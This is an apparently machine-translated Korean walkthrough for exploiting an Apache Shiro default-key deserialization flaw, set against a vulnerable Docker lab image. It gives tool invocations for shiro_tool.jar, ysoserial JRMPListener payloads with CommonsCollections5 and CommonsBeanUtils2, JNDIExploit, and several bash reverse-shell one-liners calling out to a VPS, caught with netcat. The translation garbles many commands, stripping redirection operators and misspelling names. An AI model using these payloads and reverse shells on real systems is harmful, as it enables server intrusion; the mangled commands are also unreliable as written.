제목 : Shiro는 주요 종속성없는 체인 활용 기술을 누출합니다

获取环境:​

거울을 현지인으로 당깁니다
$ docker pull medicean/vulapps:s_shiro_1
환경을 시작하십시오
$ Docker Run -D -P 8033608080 Medicean/Vulapps:S_SHIRO_11. Shiro_attack_2.2 도구를 사용하여 대상 시스템을 확인하고 기본 키가 있지만 활용 체인이 없음을 발견했습니다.
image_ylgMY223mT.png

2. Shior_Tools.jar를 사용하여 대상 시스템을 직접 감지하십시오. 감지가 완료되면 실행 가능한 작업이 반환됩니다.
java -jar shiro_tool.jar http://10.11.10.108:8081/login.jsp
4ckc4yk0ctv12037.png

2. 0을 선택하고 DNSLOG 주소를 입력하십시오. DNSLOG 테스트를 통해 에코가 있습니다. 다음은 다음과 같습니다.
image_htB_EhwPH9.png

DNSLOG에는 에코가 있습니다. 다음으로, 나는 쉘을 얻을 것이다. 고정 사고로 인해 나는 전에 Linux를 만났습니다. 나는 그것이 Linux라고 생각했지만 성공적으로 사용하지 않았습니다. 처음에는 방화벽 차단이라고 생각했습니다. 나중에 디렉토리 구조를 감지하여 Windows라는 것을 알았으므로 여기에서 페이로드를 변경해야했습니다.
3. Ysoserial을 사용하여 공개 네트워크 VPS에서 포트를 열고 리바운드 명령을 실행하십시오.
Java -cp ysoserial-master-30099844c6-1.jar ysoserial.exploit.jrmplistener 1999 commonscollections5 '인코딩 후 bash 명령'
13xfioctwms12039.png

image_wvD-c4KvV-.png

1049983-20231226000544164-439019386.jpg

여기서 인코딩 내용은 4 단계에 있습니다
구덩이 1 : CommonScollection1-5 쉘이 반등하지 않으면 대신 사용하십시오.
4. bash 리바운드 명령 편집
https://x.hacking8.com/java-runtime.html//encoded 링크
다음 세 가지 유형의 실행 명령이 적절하게 선택됩니다.
PIT 2 : 여기에서 실행 된 bash 명령은 먼저 상대방의 실행 시스템에 따라 다릅니다. Linxu 인 경우 다음 세 가지를 사용해보십시오. 그것이 승리하면, 바이두 리바운드 명령을 별도로 보내주십시오.
bash -i/dev/tcp/vpsip/7777 01
/bin/bash -i/dev/tcp/vpsip/7777 01 21
0196; exec 196/dev/tcp/vpsip/7777; Sh 196 196 2196
다음은 두 번째 유형 인 IP입니다. IP는 쉘의 VPS를 허용하는 IP입니다. 포트 : NC를 사용하여 모니터링을 열고 반등하는 포트입니다.
/bin/bash -i /dev/tcp/192.168.14.222/8888 01 21
5xkt3214eih12042.png

Windows : Java -CP YSOSERIAL-0.0.6-SNAPSHOT-1.8.3.JAR YSOSERIAL.EXPLOIT.JRMPLISTERE 88 CommonsBeanUtils2 'LDAP: //
d2hvyw1p는 명령의 base64입니다.
java -jar jndiexploit-1.0-snapshot.jar -i vps 주소
5. NC 모니터링
0yztymzmwke12043.png

6. 쉘의 VPS와 Java-myserial-jrmplistener가 열린 포트를 입력하십시오 (여기서 1 선택, jrmpclient를 사용하여 쉘을 리바운드하십시오).
egykd2w4qyo12044.png

7. 성공적인 실행, 리바운드 쉘
jm4lbs1bddv12045.png

o5wun5g5ime12046.png

mdiuaeqiolx12047.png
 
뒤로
상단